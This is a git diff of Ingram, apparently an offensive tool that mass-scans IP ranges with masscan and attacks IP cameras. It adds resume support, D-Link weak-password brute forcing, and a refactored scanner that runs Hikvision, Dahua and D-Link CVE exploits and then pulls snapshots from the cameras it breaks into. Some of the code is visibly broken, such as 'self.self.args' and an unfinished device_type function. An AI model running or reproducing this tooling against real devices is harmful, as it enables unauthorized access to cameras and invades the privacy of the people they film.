diff --git a/README.md b/README.md index 1ec0182..dc3c18d 100644 --- a/README.md +++ b/README.md @@ -29,6 +29,12 @@ This tool can use multiple threads to batch detect whether there are vulnerabili **Only successfully tested on Mac and Linux, but not on Windows!** +## New Features + ++ 2022-06-11 **Resume supported!!!** + - If your program breaks due to network or other reasons, you can continue the previous process by simply running the command that ran last time. For example, the last command you executed was `./run_ingram.py --in ip.txt --out output --all --th_num 80`, to resume, simply continue `./run_ingram.py --in ip.txt --out output --all --th_num 80` + + ## Installation + Clone this repository by: @@ -36,7 +42,7 @@ This tool can use multiple threads to batch detect whether there are vulnerabili git clone https://github.com/jorhelp/Ingram.git ``` -+ **Make sure the Python version you used is >= 3.7**, and install packages by: ++ **Make sure the Python version you use is >= 3.7**, and install packages by: ```shell cd Ingram pip install -r requirements.txt @@ -148,7 +154,7 @@ python3 -Bu show/show_rtsp/show_all.py OUT_DIR/results.csv ## Disclaimer -This tool is only for learning and safety testing, do not fucking useing it for illegal purpose, all legal consequences caused by this tool will be borne by the user!!! +This tool is only for learning and safety testing, do not fucking use it for illegal purpose, all legal consequences caused by this tool will be borne by the user!!! ## Acknowledgements & References diff --git a/run_ingram.py b/run_ingram.py index 693bc2c..bf70748 100755 --- a/run_ingram.py +++ b/run_ingram.py @@ -54,11 +54,11 @@ def run(args): # scan if args.masscan: - scn = scanner.MasScaner(args.in_file, args.out_path) - scn(args) + scn = scanner.MasScaner(args) + scn() else: - scn = scanner.CameraScanner(args.in_file, args.out_path) - scn(args) + scn = scanner.CameraScanner(args) + scn() # finished if args.send_msg: diff --git a/scan/modules.py b/scan/modules.py index 806fec4..44ad6b6 100644 --- a/scan/modules.py +++ b/scan/modules.py @@ -1,17 +1,30 @@ """Vulnerability Exploition""" import os import sys +import hashlib import requests CWD = os.path.dirname(__file__) sys.path.append(os.path.join(CWD, '..')) +from utils.base import multi_thread from utils.net import get_user_agent -from utils.camera import snapshot_cve_2017_7921, snapshot_rtsp timeout=2 +def device_type(ip: str) -> list: + """Check whether the ip is a web camera""" + dev_hash = { + '4ff53be6165e430af41d782e00207fda': 'Dahua', + '89b932fcc47cf4ca3faadb0cfdef89cf': 'Hikvision', + } + url_list = [ + f"http://{ip}/favicon.ico", # hikvision, Luma + f"http://{ip}/image/lgbg.jpg", # Dahua + ] + + def cve_2021_36260(ip: str) -> list: """(Hikvision) Arbitrary command execution vulnerability""" if ':' in ip: @@ -124,7 +137,7 @@ def cve_2021_33044(ip: str) -> list: def cve_2020_25078(ip: str) -> list: - """(DLink) Brute""" + """(DLink) Disclosure of sensitive information""" headers = {'User-Agent': get_user_agent()} r = requests.get(f"http://{ip}/config/getuser?index=0", timeout=timeout, verify=False, headers=headers) if r.status_code == 200 and "name" in r.text and "pass" in r.text and "priv" in r.text and 'html' not in r.text: @@ -134,6 +147,19 @@ def cve_2020_25078(ip: str) -> list: return [False, ] +# bug!!! +def dlink_weak(ip: str, users: list=['admin'], passwords: list=['']) -> list: + """(DLink) Brute""" + passwords = set(passwords + ['']) + headers = {'User-Agent': get_user_agent()} + for user in users: + for p in passwords: + r = requests.get(f"http://{ip}", verify=False, headers=headers, timeout=timeout, auth=(user, p)) + if r.status_code == 200 and 'D-Link' in r.text: + return [True, str(user), str(p), 'DLink', 'weak pass'] + return [False, ] + + def cctv_weak(ip: str, users: list=['admin'], passwords: list=['']) -> list: """(CCTV) Brute""" passwords = set(passwords + ['']) diff --git a/scan/scanner.py b/scan/scanner.py index 39ec569..0ee42ae 100644 --- a/scan/scanner.py +++ b/scan/scanner.py @@ -15,60 +15,85 @@ class Base: """Base class""" - def __init__(self, in_file: str, out_path: str) -> None: - self.in_file = in_file - self.out_path = out_path + def __init__(self, args) -> None: + self.args = args self.scanner_name = 'base' # Need to be respecified in subclass - if not os.path.isdir(out_path): - os.mkdir(out_path) + if not os.path.isdir(args.out_path): + os.mkdir(args.out_path) class MasScaner(Base): """This scanner need root authority""" - def __init__(self, in_file: str, out_path: str) -> None: - super().__init__(in_file, out_path) + def __init__(self, args) -> None: + super().__init__(args) self.scanner_name = 'masscan' - self.tmp = os.path.join(out_path, 'tmp') # temp out file + self.tmp = os.path.join(self.args.out_path, MASSCAN_TMP) # temp out file def parse(self, tmp: str='tmp') -> None: with open(tmp, 'r') as tf: - with open(os.path.join(self.out_path, 'masscan_res'), 'w') as of: + with open(os.path.join(self.args.out_path, MASSCAN_RES), 'w') as of: for line in tf: if 'open' in line: items = line.split() ip, port = items[-2], items[2] of.write(f"{ip}:{port}\n") - def __call__(self, args) -> None: - os.system(f"sudo masscan --exclude 255.255.255.255 -iL {self.in_file} -p{args.port} --rate {args.rate} -oL {self.tmp}") + def __call__(self) -> None: + if os.path.exists('paused.conf'): + os.system(f"sudo masscan --exclude 255.255.255.255 --resume paused.conf") + else: + os.system(f"sudo masscan --exclude 255.255.255.255 -iL {self.args.in_file} -p{self.args.port} --rate {self.args.rate} -oL {self.tmp}") self.parse(self.tmp) class CameraScanner(Base): - def __init__(self, in_file: str, out_path: str) -> None: - super().__init__(in_file, out_path) + def __init__(self, args) -> None: + super().__init__(args) self.scanner_name = 'camera scanner' - self.lock = Lock() - self.ip_list = [] + self.thread_lock = Lock() + self.file_lock = Lock() + self.start_time = time.time() + self.bar = process_bar() + + self._preprocess() + + def _preprocess(self): self.total = 0 self.found = 0 self.done = 0 - self.start_time = time.time() - self.bar = process_bar() - self._get_ip() + # total ip + with open(self.args.in_file, 'r') as f: + total_ip = [l.strip() for l in f if not l.startswith('#') and l.strip()] + for ip in total_ip: + self.total += get_ip_seg_len(ip) if '-' in ip or '/' in ip else 1 + + # processed ip + if not os.path.exists(os.path.join(self.args.out_path, PAUSE)): + self.paused = open(os.path.join(self.args.out_path, PAUSE), 'a') + processed_ip = [] + else: + self.paused = open(os.path.join(self.args.out_path, PAUSE), 'r+') + processed_ip = [l.strip() for l in self.paused if not l.startswith('#') and l.strip()] + for ip in processed_ip: + self.done += get_ip_seg_len(ip) if '-' in ip or '/' in ip else 1 + + # need scan + self.ip_list = list(set(total_ip) - set(processed_ip)) if processed_ip else total_ip + + # found + if os.path.exists(os.path.join(self.args.out_path, RESULTS_ALL)): + with open(os.path.join(self.args.out_path, RESULTS_ALL), 'r') as f: + for line in f: + if not line.startswith('#') and line.strip(): + self.found += 1 - def _get_ip(self): - """get ip / ip segment, and count the number""" - with open(self.in_file, 'r') as f: - for line in f: - if line.strip() and not line.startswith('#'): - self.total += get_ip_seg_len(line.strip()) if '-' in line or '/' in line else 1 - self.ip_list.append(line.strip()) + def __del__(self): + self.paused.close() def _step(self, *args, **kwargs): - with self.lock: + with self.thread_lock: if kwargs['found']: self.found += 1 self.bar(self.total, self.done + 1, self.found, timer=True, start_time=self.start_time) @@ -86,34 +111,42 @@ def scan(self, ip_term: str): if ':' not in ip: port = '80' else: ip, port = ip.split(':') camera_info = [ip, port] + res[1:] - save_res(camera_info, self.out_path) # save result + save_res(camera_info, os.path.join(self.args.out_path, RESULTS_ALL)) # save result os.system(f"python3 -Bu utils/camera.py --ip '{camera_info[0]}'" f" --port '{camera_info[1]}' --user '{camera_info[2]}' --passwd '{camera_info[3]}'" f" --device '{camera_info[4]}' --vulnerability '{camera_info[5]}'" - f" --sv_path {self.out_path} > /dev/null 2> /dev/null") # save snapshot if possible - except Exception as e: pass + f" --sv_path {self.args.out_path} > /dev/null 2> /dev/null") # save snapshot if possible + except Exception as e: + if DEBUG: print(e) finally: self._step(found=found) - with self.lock: self.done += 1 + with self.thread_lock: self.done += 1 + # write paused + with self.file_lock: + self.paused.write(ip_term + '\n') + self.paused.flush() + def _close(self): + os.remove(os.path.join(self.args.out_path, PAUSE)) - def __call__(self, args): + def __call__(self): self.modules = [] hik_weak_partial = partial(hik_weak, users=USERS, passwords=PASSWORDS) dahua_weak_partial = partial(dahua_weak, users=USERS, passwords=PASSWORDS) cctv_weak_partial = partial(cctv_weak, users=USERS, passwords=PASSWORDS) hb_weak_partial = partial(hb_weak, users=USERS, passwords=PASSWORDS) - if args.all: + if self.args.all: self.modules.extend([cve_2017_7921, cve_2021_36260, cve_2020_25078, cve_2021_33044]) self.modules.extend([hik_weak_partial, dahua_weak_partial, cctv_weak_partial, hb_weak_partial]) else: - if args.hik_weak: self.modules.append(hik_weak_partial) - if args.dahua_weak: self.modules.append(dahua_weak_partial) - if args.cctv_weak: self.modules.append(cctv_weak_partial) - if args.hb_weak: self.modules.append(hb_weak_partial) - if args.cve_2017_7921: self.modules.append(cve_2017_7921) - if args.cve_2021_36260: self.modules.append(cve_2021_36260) - if args.cve_2020_25078: self.modules.append(cve_2020_25078) - if args.cve_2021_33044: self.modules.append(cve_2021_33044) + if self.args.hik_weak: self.modules.append(hik_weak_partial) + if self.args.dahua_weak: self.modules.append(dahua_weak_partial) + if self.args.cctv_weak: self.modules.append(cctv_weak_partial) + if self.self.args.hb_weak: self.modules.append(hb_weak_partial) + if self.args.cve_2017_7921: self.modules.append(cve_2017_7921) + if self.args.cve_2021_36260: self.modules.append(cve_2021_36260) + if self.args.cve_2020_25078: self.modules.append(cve_2020_25078) + if self.args.cve_2021_33044: self.modules.append(cve_2021_33044) - multi_thread(self.scan, self.ip_list, processes=args.th_num) + multi_thread(self.scan, self.ip_list, processes=self.args.th_num) + self._close() diff --git a/utils/base.py b/utils/base.py index 431977f..ccc7721 100644 --- a/utils/base.py +++ b/utils/base.py @@ -9,7 +9,7 @@ def save_res(res: list, out_path: str) -> None: """save a result record to file format should be: [ip, port, user, passwd, device, vulnerability] """ - with open(os.path.join(out_path, 'results.csv'), 'a') as f: + with open(out_path, 'a') as f: f.write(f"{','.join(res)}\n") diff --git a/utils/config.py b/utils/config.py index ef8075e..b51cb6d 100644 --- a/utils/config.py +++ b/utils/config.py @@ -1,4 +1,14 @@ -"""configuration""" +"""configuration file""" + +DEBUG = False + +# file name +MASSCAN_TMP = 'masscan_tmp' +MASSCAN_RES = 'masscan_res' +PAUSE = 'paused' +RESULTS_ALL = 'results_all.csv' +RESULTS_SIMPLE = 'results_simple.csv' +NOT_VULNERABLE = 'not_volunerable.csv' # camera USERS = ['admin']